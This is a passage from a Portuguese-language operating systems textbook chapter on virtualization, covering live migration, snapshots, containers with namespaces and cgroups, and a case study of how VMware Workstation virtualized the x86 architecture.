gerenciamento inteligente. Já discutimos a capacidade de alocar recursos em excesso, especialmente 
em combinação com a desduplicação. Agora examinaremos outra questão de gerenciamento: e se 
uma máquina precisar de manutenção (ou mesmo de substituição) enquanto estiver operando 
muitas máquinas importantes? Provavelmente, os clientes não ficarão satisfeitos se seus sistemas 
falharem porque o provedor de nuvem deseja substituir uma unidade de disco. 


Os hipervisores separam a máquina virtual do hardware físico. Em outras palavras, realmente 
não importa para a máquina virtual se ela é executada nesta ou naquela máquina. Assim, o 
administrador poderia simplesmente desligar todas as máquinas virtuais e reiniciá-las novamente 
em uma máquina totalmente nova. Fazer isso, no entanto, resulta em um tempo de inatividade 
significativo. O desafio é mover a máquina virtual do hardware que precisa de manutenção para a 
nova máquina sem desligá-la. 

Uma abordagem um pouco melhor seria pausar a máquina virtual, em vez de desligá-la. 
Durante a pausa, copiamos as páginas de memória utilizadas pela máquina virtual para o novo 
hardware o mais rápido possível, configuramos corretamente no novo hipervisor e então retomamos 
a execução. Além da memória, também precisamos transferir armazenamento e conectividade de 
rede, mas se as máquinas estiverem próximas, isso pode ser relativamente rápido. Para começar, 
poderíamos tornar o sistema de arquivos baseado em rede (como NFS, o sistema de arquivos de 
rede), de modo que não importa se sua máquina virtual está sendo executada em hardware no rack 
de servidor 1 ou 3. Da mesma forma, o endereço IP pode simplesmente ser transferido para o novo 
local. No entanto, ainda precisamos pausar a máquina por um período considerável de tempo. 
Menos tempo talvez, mas ainda perceptível. 
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Em vez disso, o que as soluções modernas de virtualização oferecem é algo conhecido como 
migração ao vivo. Em outras palavras, eles movem a máquina virtual enquanto ela ainda está 
operacional. Por exemplo, eles empregam técnicas como migração de memória pré-cópia. 

Isso significa que eles copiam páginas de memória enquanto a máquina ainda está atendendo às 
solicitações. A maioria das páginas de memória não são muito escritas, portanto é seguro copiá-las. 
Lembre-se, a máquina virtual ainda está em execução, portanto uma página pode ser modificada 
depois de já ter sido copiada. Quando as páginas de memória são modificadas, temos que garantir 
que a versão mais recente seja copiada para o destino, por isso as marcamos como sujas. Eles serão 
recopiados posteriormente. Quando a maioria das páginas da memória foi copiada, ficamos com um 
pequeno número de páginas sujas. Agora faremos uma breve pausa para copiar as páginas restantes 
e retomar a máquina virtual no novo local. Embora ainda haja uma pausa, ela é tão breve que os 
aplicativos normalmente não são afetados. Quando o tempo de inatividade não é perceptível, isso é 
conhecido como migração em tempo real contínua. 


7.9.3 Ponto de verificação 


A dissociação entre máquina virtual e hardware físico traz vantagens adicionais. Em particular, 
mencionamos que podemos pausar uma máquina. Isto por si só é útil. Se o estado da máquina 
pausada (por exemplo, estado da CPU, páginas de memória e estado de armazenamento) for 
armazenado em disco, teremos um instantâneo de uma máquina em execução. Se o software causar 
uma grande bagunça na máquina virtual ainda em execução, é possível simplesmente reverter para o 
snapshot e continuar como se nada tivesse acontecido. 

A maneira mais direta de criar um snapshot é copiar tudo, inclusive todo o sistema de arquivos. 
No entanto, copiar um disco multiterabyte pode demorar um pouco, mesmo que seja um disco rápido. 
E, novamente, não queremos parar por muito tempo enquanto fazemos isso. A solução é usar soluções 
de cópia na gravação , para que os dados sejam copiados somente quando for absolutamente 
necessário. 

A captura instantânea funciona muito bem, mas há problemas. O que fazer se uma máquina 
estiver interagindo com um computador remoto? Podemos capturar o sistema e trazê-lo novamente 
em um estágio posterior, mas a parte comunicante pode ter desaparecido há muito tempo. Claramente, 
este é um problema que não pode ser resolvido. 


7.10 VIRTUALIZAÇÃO EM NÍVEL DE SO 


Até agora, estudamos a virtualização baseada em hipervisor, mas no início deste capítulo 
mencionamos que também existe uma coisa chamada virtualização em nível de sistema operacional. 
Em vez de apresentar a ilusão de uma máquina, a ideia é criar ambientes isolados de espaço de 
usuário, também conhecidos como containers ou jails , conforme mencionado anteriormente. 

Tanto quanto possível, cada contêiner e todos os processos nele contidos são isolados dos outros 
contêineres e do restante do sistema. Por exemplo, todos eles podem ter seu próprio "espaço de 
nomes” de sistema de arquivos: uma subárvore que começa a partir de uma raiz que o administrador 
criou com a chamada de sistema chroot . Um processo neste espaço de nomes 
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não pode acessar outros espaços de nomes (subárvores). Entretanto, ter seu próprio diretório raiz não é 
suficiente. Para um isolamento adequado, os contêineres também precisam de espaços de nomes separados 
para identificadores de processo, identificadores de usuário, interfaces de rede (e o IP associado 
endereços), terminais IPC, etc. Além disso, o isolamento de (e limites de) memória 
e o uso da CPU também seria bom. Talvez você possa pensar em alguns outros recursos 
isso deveria ser restrito? 

Já vimos que limitar o acesso a um nome específico de sistema de arquivos 
espaço usando uma chamada de sistema como algo como chroot é relativamente simples: o sistema 
operacional lembra que para este grupo de processos todas as operações de arquivo são relativas à nova 
raiz. Se um dos processos abrir um arquivo em /home/hjb/, o sistema operacional 
o sistema sabe que isso é relativo à nova raiz. Podemos aplicar truques semelhantes ao 
outros espaços de nomes. Por exemplo, quando um processo abre todas as interfaces de rede em 
o sistema, a operação certifica-se de abrir apenas a(s) interface(s) de rede atribuída(s) ao grupo/contêiner. 
Da mesma forma, identificadores de processos e usuários podem ser virtualizados, 
de modo que quando um processo envia um sinal para o processo com identificador de processo 6293, 
o sistema operacional traduz esse número para o identificador “real” do processo. Tudo de 
isso é simples. No entanto, como particionar recursos como memória 
e uso da CPU? 

Em geral, precisamos de uma forma de rastrear o uso de recursos para grupos de processos para um 
grande variedade de recursos. Diferentes sistemas operacionais têm soluções diferentes. 
Um dos mais conhecidos, o recurso cgroups (grupos de controle) do Linux, iremos 
usar para fins ilustrativos. Permite que os administradores organizem processos em conjuntos 
conhecidos como cgroups, e para monitorar e limitar o uso de vários tipos de cgroups 
recursos. Os Cgroups são flexíveis porque não prescrevem antecipadamente o exato 
recursos para rastrear. Assim, qualquer recurso que possa ser rastreado e restringido pode ser 
adicionado. Ao anexar um controlador de recursos (às vezes chamado de “subsistema”) para um recurso 
específico a um cgroup, ele monitorará e/ou limitará o acesso ao recurso correspondente para todos os 
processos que são membros daquele cgroup. 

É possível limitar o uso de um conjunto de recursos (como memória, CPU, 
e a largura de banda para o bloco I/O) para o processo P1 e outro conjunto (por exemplo, apenas 
largura de banda de E/S do bloco) para o processo P2. Para fazer isso, primeiro criamos dois cgroups 
CCPU+Mem e CBlkio. Em seguida, conectamos a CPU e o controlador de memória ao primeiro 
cgroup e o controlador de E/S do bloco para o segundo. Finalmente, tornamos P1 um membro 
do CCPU+Mem e do CBlkio, e P2 membro apenas do CBlkio. 

Isto por si só ainda não é suficiente. Muitas vezes, não queremos controlar a CPU 
uso de P1 e P2 juntos, mas também isolar o uso de CPU de P1 e P2 individualmente . Como veremos, os 
cgroups resolvem esse problema com elegância. 

É importante perceber que o controle de recursos muitas vezes é possível em diferentes níveis de 
granularidade. Pegue a CPU. Com uma granularidade fina, podemos dividir o tempo de CPU 
em um núcleo entre processos dinamicamente usando agendamento. Nós discutimos 
agendando longamente no Cap. 2. Com uma granularidade muito mais grosseira, podemos simplesmente 
dividir os núcleos de um computador, restringindo os processos em um cgroup a, digamos, 4 dos 
16 núcleos. Façam o que fizerem, seus processos não serão executados nos outros 12 núcleos. 
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Embora o controle refinado da CPU também possa ser usado, o particionamento de núcleo é, 
na verdade, muito popular na prática. O mecanismo remonta aos primeiros anos deste milénio. 
Em 2004, os programadores da Bull SA (a empresa francesa que distribuiu Multics de 

1975 a 2000) criaram a noção de cpusets. Os CPUsets permitem que os administradores 
associem CPUs ou núcleos específicos e subconjuntos de memória a um grupo de processos. 
Desde então, os cpusets foram estendidos e modificados por diferentes programadores de 
diferentes organizações, entre eles Paul Menage do Google, que também desempenhou um 
papel de liderança no desenvolvimento de cgroups. Isso não é coincidência: os cpusets 
correspondem ao modelo de controlador dos cgroups com at, permitindo-lhes limitar o uso de 
CPU e memória de um cgroup com uma granularidade grosseira. Em particular, cpusets 
permitem atribuir a um cgroup um conjunto de CPUs e nós de memória - onde um nó de 
memória simplesmente se refere a um nó que contém memória, por exemplo, em um sistema 
NUMA. Assim, os administradores podem especificar que este cgroup pode usar esses núcleos 
de CPU e que toda a sua memória será alocada apenas a partir da memória desses nós. 
Grosso, mas eficaz! 

Além disso, os cpusets são hierárquicos. Em outras palavras, é possível subparticionar os 
recursos de um cpuset pai em cpusets filhos. Assim, o cpuset raiz contém todas as CPUs e 
todos os nós de memória, todos os cpusets de nível 1 são subpartições de seus recursos, 
todos os cpusets de nível 2 são subpartições de seus cpusets de nível 1 e assim por diante. 
Cgroups são similarmente hierárquicos. Dado o exemplo acima, podemos criar dois cgroups 
filhos no cgroup pai CCPU+Mem. Ao anexar diferentes subpartições do cpuset a cada cgroup 
filho, os administradores podem garantir que diferentes grupos de processos fiquem longe uns 
dos outros. 

Usando conceitos como cgroups, cpusets e namespaces, a virtualização em nível de 
sistema operacional permite a criação de contêineres isolados sem recorrer a hipervisores ou 
virtualização de hardware. Esses contêineres já existem há muitos anos, mas realmente 
começaram a decolar após a introdução de plataformas convenientes, como Docker, Kubernetes 
e Microsoft Azure Container Registry, que ajudam os administradores a construí-los, implantá- 
los e gerenciá-los. 

Em comparação com máquinas virtuais baseadas em hipervisor, os contêineres são 
geralmente mais leves: mais rápidos para iniciar e mais eficientes no consumo de recursos. 
Eles também têm outras vantagens. Por exemplo, a administração do sistema é mais fácil se 
precisarmos manter apenas um único sistema operacional em vez de um sistema operacional 
separado por máquina virtual. 

No entanto, também existem desvantagens. Primeiro, você não pode executar vários 
sistemas operacionais na mesma máquina. Se você deseja executar o Windows e o UNIX ao 
mesmo tempo, os contêineres não serão muito úteis. Em segundo lugar, embora o isolamento 
seja bastante bom, não é de forma alguma absoluto, uma vez que os diferentes contentores 
ainda partilham o mesmo sistema operativo e podem interferir uns com os outros. Se o sistema 
operacional tiver limites estáticos para determinados recursos (como o número de arquivos 
abertos) e um contêiner usar (quase) todos eles, os outros contêineres terão problemas. Da 
mesma forma, uma única vulnerabilidade no sistema operacional põe em perigo todos os 
contêineres. Em comparação, o isolamento oferecido pelos hipervisores é consideravelmente mais forte. Também, 
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alguns pesquisadores argumentam que a virtualização baseada em hipervisor não precisa ser mais 
mais pesado do que os contêineres, desde que você reduza as máquinas virtuais a um 
unikernel (Manco et al., 2017). 


7.11 ESTUDO DE CASO: VMWARE 


Desde 1999, a VMware, Inc. é fornecedora líder comercial de soluções de virtualização baseadas 
em hipervisor com produtos para desktops, servidores, nuvem, 

e agora até em celulares. Ele fornece não apenas hipervisores, mas também o software 
que gerencia máquinas virtuais em grande escala. 

Começaremos este estudo de caso com um breve histórico de como a empresa começou. Em 
seguida, descreveremos o VMware Workstation, um hipervisor tipo 2 e o primeiro produto da empresa, 
os desafios em seu design e os elementos-chave da solução. Em seguida, descrevemos a evolução 
do VMware Workstation ao longo dos anos. Nós 
conclua com uma descrição do ESX Server, o hipervisor tipo 1 da VMware. 


7.11.1 A história inicial da VMware 


Embora a ideia de usar máquinas virtuais fosse popular na década de 1960 e 
Na década de 1970, tanto na indústria da computação quanto na pesquisa acadêmica, o interesse 
pela virtualização foi totalmente perdido após a década de 1980 e a ascensão do computador pessoal. 
indústria. Apenas a divisão de mainframe da IBM ainda se preocupava com a virtualização. De fato, 
as arquiteturas de computador projetadas na época, e em particular a arquitetura x86 da Intel, não 
forneciam suporte arquitetônico para virtualização (ou seja, falharam no 
critérios de Popek/Goldberg). Isto é extremamente lamentável, já que a CPU 386, um 
o redesenho completo do 286 foi feito uma década depois do artigo de Popek-Goldberg, 

e os designers deveriam saber melhor. 

Em 1997, em Stanford, três dos futuros fundadores da VMware construíram um protótipo de 
hipervisor chamado Disco (Bugnion et al., 1997), com o objetivo de executar sistemas operacionais 
comuns (em particular UNIX) em multiprocessos de grande escala. ou então sendo desenvolvida em 
Stanford: a máquina FLASH. Durante esse projeto, o 
autores perceberam que o uso de máquinas virtuais poderia resolver, de forma simples e elegante, um 
uma série de problemas graves de software de sistema: em vez de tentar resolver esses problemas 
nos sistemas operacionais existentes, poderíamos inovar em uma camada abaixo dos sistemas 
operacionais existentes. A principal observação do Disco foi que, embora a alta complexidade dos 
sistemas operacionais modernos dificultasse a inovação, a relativa simplicidade de um monitor de 
máquina virtual e sua posição na pilha de software fornecia um 
base poderosa para lidar com as limitações dos sistemas operacionais. Embora Disco fosse 
voltado para servidores muito grandes e projetado para a arquitetura MIPS, os autores 
percebeu que a mesma abordagem poderia igualmente ser aplicada e ser comercialmente relevante, 
para o mercado x86. 
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E assim, a VMware, Inc. foi fundada em 1998 com o objetivo específico de trazer 
virtualização para a arquitetura x86 e a indústria de computadores pessoais. 
O primeiro produto da VMware (VMware Workstation) foi a primeira solução de virtualização 
disponível para plataformas baseadas em x86 de 32 bits. O produto foi lançado pela primeira vez em 1999, 
e veio em duas variantes: VMware Workstation for Linux, um hipervisor tipo 2 
executado em sistemas operacionais host Linux e VMware Workstation para 
Windows, que rodava de forma semelhante no Windows NT. Ambas as variantes tinham idênticas 
funcionalidade: os usuários podem criar várias máquinas virtuais especificando primeiro o 
características do hardware virtual (como quanta memória fornecer à máquina virtual ou o tamanho do 
disco virtual) e poderia então instalar o sistema operacional 
sistema de sua escolha dentro da máquina virtual, normalmente a partir do CD-ROM (virtual). 


VMware Workstation foi voltado principalmente para desenvolvedores e profissionais de TI. 
Antes da introdução da virtualização, um desenvolvedor normalmente tinha dois computadores 
em sua mesa, uma estável para desenvolvimento e uma segunda onde ele poderia reinstalar o software 
do sistema conforme necessário. Com a virtualização, o segundo sistema de teste 
tornou-se uma máquina virtual. 

Logo, a VMware começou a desenvolver um segundo produto mais complexo, que 
seria lançado como ESX Server em 2001. O ESX Server aproveitou o mesmo mecanismo de virtualização 
do VMware Workstation, mas o empacotou como parte de um hipervisor tipo 1. Em outras palavras, o 
ESX Server foi executado diretamente no hardware sem a necessidade de um 
sistema operacional host. O hipervisor ESX foi projetado para cargas de trabalho intensas 
consolidação e continha muitas otimizações para garantir que todos os recursos (CPU, 
memória e E/S) foram alocadas de forma eficiente e justa entre as máquinas virtuais. 
Por exemplo, foi o primeiro a introduzir o conceito de balonismo para reequilibrar 
memória entre máquinas virtuais (Waldspurger, 2002). 

O ESX Server foi voltado para o mercado de consolidação de servidores. Antes da introdução da 
virtualização, os administradores de TI normalmente compravam, instalavam e configuravam 
um novo servidor para cada nova tarefa ou aplicativo que eles precisavam executar no data center. O 
resultado foi que a infra-estrutura foi utilizada de forma muito ineficiente: servidores em 
o tempo era normalmente usado em 10% de sua capacidade (durante os picos). Com ESX 
Servidor, os administradores de TI poderiam consolidar muitas máquinas virtuais independentes 
em um único servidor, economizando tempo, dinheiro, espaço em rack e energia elétrica. 

Em 2002 a VMware lançou sua primeira solução de gerenciamento para ESX Server 
originalmente chamado de Virtual Center e hoje chamado de vSphere. Forneceu um único 
ponto de gerenciamento para um cluster de servidores executando máquinas virtuais: uma solução de TI 
o administrador agora pode simplesmente fazer login no aplicativo Virtual Center e controlar, 
monitorar ou provisionar milhares de máquinas virtuais em execução em toda a empresa. Com o Virtual 
Center veio outra inovação, o VMotion (Nelson et al., 
2005), que permitiu a migração ao vivo de uma máquina virtual em execução pela rede. Pela primeira 
vez, um administrador de TI poderia mover um computador em funcionamento do 
um local para outro sem precisar reinicializar o sistema operacional, reinicie 
aplicativos ou até mesmo perder conexões de rede. 
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7.11.2 Estação de trabalho VMware 


VMware Workstation foi o primeiro produto de virtualização para computadores x86 de 32 bits. 
A subsequente adoção da virtualização teve um impacto profundo no 
indústria e na comunidade da ciência da computação: em 2009, a ACM concedeu seu 
é autor do ACM Software System Award para VMware Workstation 1.0 por 
Linux. O VMware Workstation original é descrito em um artigo técnico detalhado (Bugnion et al., 
2012). Aqui fornecemos um resumo desse artigo. 

A ideia era que uma camada de virtualização poderia ser útil em plataformas comuns construídas 
a partir de CPUs x86 e executando principalmente sistemas operacionais Microsoft Windows (também 
conhecida como plataforma WinTel ). Os benefícios da virtualização podem ajudar 
abordar algumas das limitações conhecidas da plataforma WinTel, como aplicação 
interoperabilidade, migração de sistema operacional, confiabilidade e segurança. Além disso, 
a virtualização poderia facilmente permitir a coexistência de alternativas de sistemas operacionais, 
em particular, Linux. 

Embora tenham existido décadas de pesquisa e desenvolvimento comercial de tecnologia de 
virtualização em mainframes, o ambiente de computação x86 
era suficientemente diferente para que novas abordagens fossem necessárias. Por exemplo, os 
quadros principais foram integrados verticalmente, o que significa que um único fornecedor projetou o 
hardware, o hipervisor, os sistemas operacionais e a maioria dos aplicativos. 

Em contraste, a indústria x86 foi (e ainda é) desagregada em pelo menos quatro 
diferentes categorias: (a) Intel e AMD fabricam os processadores; (b) Ofertas da Microsoft 
O Windows e a comunidade de código aberto oferecem Linux; (c) um terceiro grupo de empresas 
constrói os dispositivos de E/S e periféricos e seus correspondentes drivers de dispositivos; e (d) um 
quarto grupo de integradores de sistemas, como HP e Dell, reunidos 
sistemas informáticos para venda a retalho. Para a plataforma x86, a virtualização seria primeiro 
precisam ser inseridos sem o apoio de nenhum desses players do setor. 

Como essa desagregação era um fato da vida, o VMware Workstation diferia 
de monitores de máquinas virtuais clássicos que foram projetados como parte de um único fornecedor 
arquiteturas com suporte explícito para virtualização. Em vez disso, estação de trabalho VMware 
foi projetado para a arquitetura x86 e a indústria construída em torno dela. VMware 
A Workstation abordou esses novos desafios combinando técnicas de ização virtual bem conhecidas, 
técnicas de outros domínios e novas técnicas em um 
solução única. 

Discutiremos agora os desafios técnicos específicos na construção de estações de trabalho 
VMware. 


7.11.3 Desafios em trazer a virtualização para o x86 


Lembre-se da nossa definição de hipervisores e máquinas virtuais: os hipervisores se aplicam 
o conhecido princípio de adicionar um nível de indireção ao domínio do hardware do computador. 
Eles fornecem a abstração de máquinas virtuais: múltiplas cópias 
do hardware subjacente bruto, cada um executando um sistema operacional independente 
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instância. As máquinas virtuais são isoladas de outras máquinas virtuais, aparecem como duplicatas 
do hardware subjacente e, idealmente, funcionam com a mesma velocidade da máquina real. A 
VMware adaptou esses atributos principais de uma máquina virtual para uma plataforma de destino 
baseada em x86 da seguinte forma: 


1. Compatibilidade. A noção de um “ambiente essencialmente idêntico” significava 
que qualquer sistema operacional x86, e todos os seus aplicativos, seriam capazes 
de rodar sem modificações como uma máquina virtual. Um hipervisor precisava 
fornecer compatibilidade suficiente no nível de hardware para que os usuários 
pudessem executar qualquer sistema operacional (até a versão de atualização e 
patch) que desejassem instalar em uma máquina virtual específica, sem restrições. 


2. Desempenho. A sobrecarga do hipervisor tinha que ser suficientemente baixa para 
que os usuários pudessem usar uma máquina virtual como seu principal ambiente 
de trabalho. Como objetivo, os projetistas da VMware pretendiam executar cargas 
de trabalho relevantes em velocidades próximas às nativas e, na pior das hipóteses, 
executá-las nos processadores atuais com o mesmo desempenho como se 
estivessem executando nativamente na geração de processadores imediatamente anterior. 
Isso se baseou na observação de que a maioria dos softwares x86 não foi projetada 


para rodar apenas na última geração de CPUs. 


3. Isolamento. Um hipervisor tinha que garantir o isolamento da máquina virtual sem 
fazer quaisquer suposições sobre o software em execução nela. Ou seja, um 
hipervisor precisava ter controle total dos recursos. O software executado dentro 
de máquinas virtuais teve que ser impedido de qualquer acesso que lhe permitisse 
subverter o hipervisor. 

Da mesma forma, um hipervisor deveria garantir a privacidade de todos os dados 
não pertencentes à máquina virtual. Um hipervisor tinha que assumir que o sistema 
operacional convidado poderia estar infectado com código malicioso desconhecido 
(uma preocupação muito maior hoje do que durante a era do mainframe). 


Havia uma tensão inevitável entre esses três requisitos. Por exemplo, a compatibilidade total 
em determinadas áreas poderia levar a um impacto proibitivo no desempenho e, nesse caso, os 
projetistas da VMware teriam de fazer concessões. No entanto, eles descartaram quaisquer 
compensações que pudessem comprometer o isolamento ou expor o hipervisor a ataques de um 
convidado mal-intencionado. No geral, surgiram quatro grandes desafios: 


1. A arquitetura x86 não era virtualizável. Teve virtualização 


instruções sensíveis e sem privilégios, que violavam os critérios de Popek e 
Goldberg para virtualização estrita. Por exemplo, a instrução POPF tem uma 
semântica diferente (embora sem interceptação), dependendo se o software 
atualmente em execução tem permissão para desabilitar interrupções ou não. Isso 
descartou a abordagem tradicional de capturar e emular para a virtualização. Até 
mesmo os engenheiros da Intel Corporation estavam convencidos de que seus 
processadores não poderiam ser virtualizados em nenhum sentido prático. 
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2. A arquitetura x86 era de uma complexidade assustadora. A arquitetura x86 era uma 
arquitetura CISC notoriamente complicada, incluindo 
suporte legado para várias décadas de compatibilidade com versões anteriores. Sobre 
Ao longo dos anos, introduziu quatro modos principais de operações (real, protegido, 
v8086 e gerenciamento de sistema), cada um dos quais habilitado em 
de diferentes maneiras o modelo de segmentação do hardware, mecanismos de 
paging, anéis de proteção e recursos de segurança (como portões de chamada). 


3. As máquinas x86 tinham diversos periféricos. Embora houvesse apenas 
dois grandes fornecedores de processadores x86, os computadores pessoais da época 
poderia conter uma enorme variedade de placas e dispositivos complementares, cada um 
com seus próprios drivers de dispositivo específicos do fornecedor. Virtualizando tudo isso 
periféricos era inviável. Isto teve duas implicações: aplicou-se a 
tanto o front-end (o hardware virtual exposto nas máquinas virtuais) quanto o back-end 
(o hardware real que o hipervisor precisava para poder controlar) dos periféricos. 


4. Necessidade de uma experiência de usuário simples. Os hipervisores clássicos 
foram instalados de fábrica, semelhantes ao firmware encontrado nos computadores atuais. 
Como a VMware era uma startup, seus usuários teriam que adicionar os hipervisores 
aos sistemas existentes após o fato. A VMware precisava de um modelo de entrega 
de software com um procedimento de instalação fácil para acelerar a adoção. 


7.11.4 Estação de trabalho VMware: visão geral da solução 


Esta seção descreve em alto nível como o VMware Workstation abordou o 
desafios mencionados na seção anterior. 
VMware Workstation é um hipervisor tipo 2 que consiste em módulos distintos. 
Um módulo importante é o VMM, responsável por executar o virtual 
instruções da máquina. Um segundo módulo importante é o VMX, que interage 
com o sistema operacional host. 
A seção aborda primeiro como o VMM resolve a não virtualização do x86 
arquitetura. Em seguida, descrevemos a estratégia centrada no sistema operacional usada pelo 
designers durante toda a fase de desenvolvimento. A seguir, veremos o design do 
plataforma de hardware virtual, que aborda metade do desafio da diversidade periférica. Finalmente, 
discutimos o papel do sistema operacional host, em particular o 
interação entre os componentes VMM e VMX. 


Virtualizando a arquitetura x86 
O VMM executa a máquina virtual real; permite-lhe avançar 


progresso. Um VMM construído para uma arquitetura virtualizável usa uma técnica conhecida como 
trap-and-emulate para executar a sequência de instruções da máquina virtual diretamente, mas 
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com segurança, no hardware. Quando isso não for possível, uma abordagem é especificar um 
subconjunto virtualizável da arquitetura do processador e portar os sistemas operacionais convidados. 
para essa plataforma recém-definida. Esta técnica é conhecida como paravirtualização 

(Barham et al., 2003; Whitaker et al., 2002) e requer modificações no nível do código-fonte do sistema 
operacional. Para ser franco, a paravirtualização modifica o convidado 

para evitar fazer qualquer coisa que o hipervisor não possa controlar. A paravirtualização foi 

inviável na VMware devido ao requisito de compatibilidade e à necessidade de executar 

sistemas operacionais cujo código-fonte não estava disponível, em particular Windows. 

Uma alternativa teria sido empregar uma abordagem totalmente emulada. Nisso, 
as instruções das máquinas virtuais são emuladas pelo VMM no hardware 
(em vez de executado diretamente). Isto pode ser bastante eficiente; experiência anterior com 
o simulador de máquina SimOS (Rosenblum et al., 1997) mostrou que o uso de 
técnicas como tradução binária dinâmica executada em um programa de nível de usuário 
poderia limitar a sobrecarga da emulação completa a uma desaceleração de fator de cinco. Embora 
isso é bastante eficiente e certamente útil para fins de simulação, um fator de cinco e 
a desaceleração era claramente inadequada e não alcançaria o desempenho desejado 
requisitos. 

A solução para este problema combinou dois insights principais. Primeiro, embora a execução 
direta de trap e emulação não possa ser usada para virtualizar toda a arquitetura x86 o tempo todo, 
na verdade ela pode ser usada algumas vezes. Em particular, é 
poderia ser usado durante a execução de programas aplicativos, o que representava 
a maior parte do tempo de execução em cargas de trabalho relevantes. A razão é que essas 
instruções sensíveis à virtualização não são sensíveis o tempo todo; pelo contrário, são sensíveis 
apenas em determinadas circunstâncias. Por exemplo, a instrução POPF é sensível à virtualização 
quando se espera que o software seja capaz de desabilitar interrupções. 

(por exemplo, ao executar o sistema operacional), mas não é sensível à virtualização quando 
o software não pode desabilitar interrupções (na prática, ao executar quase todos os níveis de usuário 
formulários). 

A Figura 7-8 mostra os blocos de construção modulares do VMware VMM original. 

Vemos que ele consiste em um subsistema de execução direta, um subsistema de tradução binária 
e um algoritmo de decisão para determinar qual subsistema deve ser usado. Ambos 

subsistemas dependem de alguns módulos compartilhados, por exemplo, para virtualizar memória 
através de tabelas de páginas shadow ou para emular dispositivos de E/S. 

O subsistema de execução direta é preferido, e o subsistema de tradução binária dinâmica 
fornece um mecanismo de fallback sempre que a execução direta não é 
possível. Este é o caso, por exemplo, sempre que a máquina virtual está em tal 
afirmar que poderia emitir uma instrução sensível à virtualização. Portanto, cada 
subsistema reavalia constantemente o algoritmo de decisão para determinar se um 
a troca de subsistemas é possível (da tradução binária para a execução direta) ou 
necessário (da execução direta à tradução binária). Este algoritmo possui vários parâmetros de 
entrada, como o anel de execução atual da máquina virtual, 
se as interrupções podem ser habilitadas nesse nível e o estado dos segmentos. Para 


Por exemplo, a tradução binária deve ser usada se alguma das seguintes afirmações for verdadeira: 
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Decisão 
Alg. 


Execução Direta Tradução binária 


Módulos 


compartilhados (shadow MMU, manipulação de E/S, 


Figura 7-8. Componentes de alto nível do monitor de máquina virtual VMware (na 
ausência de suporte de hardware). 


1. A máquina virtual está atualmente em execução no modo kernel (anel O na arquitetura 
x86). 


2. A máquina virtual pode desabilitar interrupções e emitir instruções de E/S (na 
arquitetura x86, quando o nível de privilégio de E/S é definido como nível de anel). 


3. A máquina virtual está atualmente em execução em modo real, um modo de execução 
herdado de 16 bits usado pelo BIOS, entre outras coisas. 


O algoritmo de decisão real contém algumas condições adicionais. Os detalhes podem ser 
encontrados em Bugnion et al. (2012). Curiosamente, o algoritmo não depende das instruções que 
estão armazenadas na memória e podem ser executadas, mas apenas do valor de alguns 
registradores virtuais; portanto, pode ser avaliado de forma muito eficiente em apenas algumas 
instruções. 

O segundo insight importante foi que, ao configurar adequadamente o hardware, particularmente 
usando cuidadosamente os mecanismos de proteção do segmento x86, o código do sistema sob 
tradução binária dinâmica também poderia ser executado em velocidades quase nativas. Isso é 
muito diferente da desaceleração de fator cinco normalmente esperada em simuladores de máquinas. 

A diferença pode ser explicada comparando como um tradutor binário dinâmico converte uma 
instrução simples que acessa a memória. Para emular tal instrução em software, um tradutor binário 
clássico que emule a arquitetura completa do conjunto de instruções x86 teria que primeiro verificar 
se o endereço efetivo está dentro do intervalo do segmento de dados, depois converter o endereço 
em um endereço físico e, finalmente, para copiar a palavra referenciada no registro simulado. É 
claro que essas várias etapas podem ser otimizadas por meio do armazenamento em cache, de 
maneira muito semelhante à forma como o processador armazenava em cache os mapeamentos de 
tabela de páginas em um buffer de tradução. Mas mesmo essas otimizações levariam a uma 
expansão de instruções individuais numa sequência de instruções. 


O tradutor binário VMware não executa nenhuma dessas etapas no software. 
Em vez disso, ele configura o hardware para que esta instrução simples possa ser reemitida 
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com a instrução idêntica. Isto só é possível porque o VMware VMM (de 
qual o tradutor binário é um componente) configurou previamente o hardware para corresponder à 
especificação exata da máquina virtual: (a) o VMM usa 
tabelas de páginas sombra, o que garante que a unidade de gerenciamento de memória possa ser usada 
diretamente (em vez de emulado) e (b) o VMM usa um sombreamento semelhante 
abordagem às tabelas de descritores de segmento (que desempenharam um grande papel nos sistemas de 16 bits e 
Software de 32 bits executado em sistemas operacionais x86 mais antigos). 
É claro que existem complicações e sutilezas. Um aspecto importante do 
O projeto é garantir a integridade da sandbox de virtualização, ou seja, garantir que 
nenhum software em execução dentro da máquina virtual (incluindo software malicioso) pode 
adulterar o VMM. Este problema é geralmente conhecido como isolamento de falha de software e adiciona 
sobrecarga de tempo de execução a cada acesso à memória se a solução for implementada em software. 
Aqui também, o VMware VMM usa um sistema diferente, baseado em hardware 
abordagem. Ele divide o espaço de endereço em duas zonas disjuntas. As reservas do VMM 
para si mesmo, use os 4 MB superiores do espaço de endereço. Isso libera o resto (ou seja, 
4 GB4 MB, já que estamos falando de uma arquitetura de 32 bits) para uso do 
máquina virtual. O VMM então configura o hardware de segmentação para que nenhum 
instruções da máquina virtual (incluindo aquelas geradas pelo tradutor binário) podem 
sempre acesse a região superior de 4 MB do espaço de endereço. 


Uma estratégia centrada no sistema operacional convidado 


Idealmente, um VMM deve ser projetado sem a preocupação com o sistema operacional convidado em 
execução na máquina virtual ou com a forma como esse sistema operacional convidado configura o hardware. 
A ideia por trás da virtualização é tornar a máquina virtual 
interface idêntica à interface de hardware para que todo o software executado no 
o hardware também será executado em uma máquina virtual. Infelizmente, esta abordagem só é prática 
quando a arquitetura é virtualizável e simples. No caso do x86, o 
a esmagadora complexidade da arquitetura era claramente um problema. 

Os engenheiros da VMware simplificaram o problema concentrando-se apenas em uma seleção 
de sistemas operacionais convidados suportados. Em sua primeira versão, o VMware Workstation suportava 
oficialmente apenas Linux, Windows 3.1, Windows 95/98 e Windows NT como 
sistemas operacionais convidados. Com o passar dos anos, novos sistemas operacionais foram adicionados ao 
lista com cada revisão do software. Mesmo assim, a emulação foi boa 
o suficiente para rodar alguns sistemas operacionais inesperados, como o MINIX 3, perfeitamente, 
direto da caixa. 

Esta simplificação não alterou o design geral — o VMM ainda fornecia 
uma cópia fiel do hardware subjacente, mas ajudou a orientar o desenvolvimento 
processo. Em particular, os engenheiros tiveram que se preocupar apenas com combinações de características 
que foram usados na prática pelos sistemas operacionais convidados suportados. 

Por exemplo, a arquitetura x86 contém quatro anéis de privilégios em áreas protegidas. 
modo (toque 0 a toque 3), mas nenhum sistema operacional usa o anel 1 ou o anel 2 na prática 
(exceto OS/2, um sistema operacional da IBM há muito extinto). Então, em vez de descobrir 
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como virtualizar corretamente o anel 1 e o anel 2, o VMware VMM simplesmente tinha código 
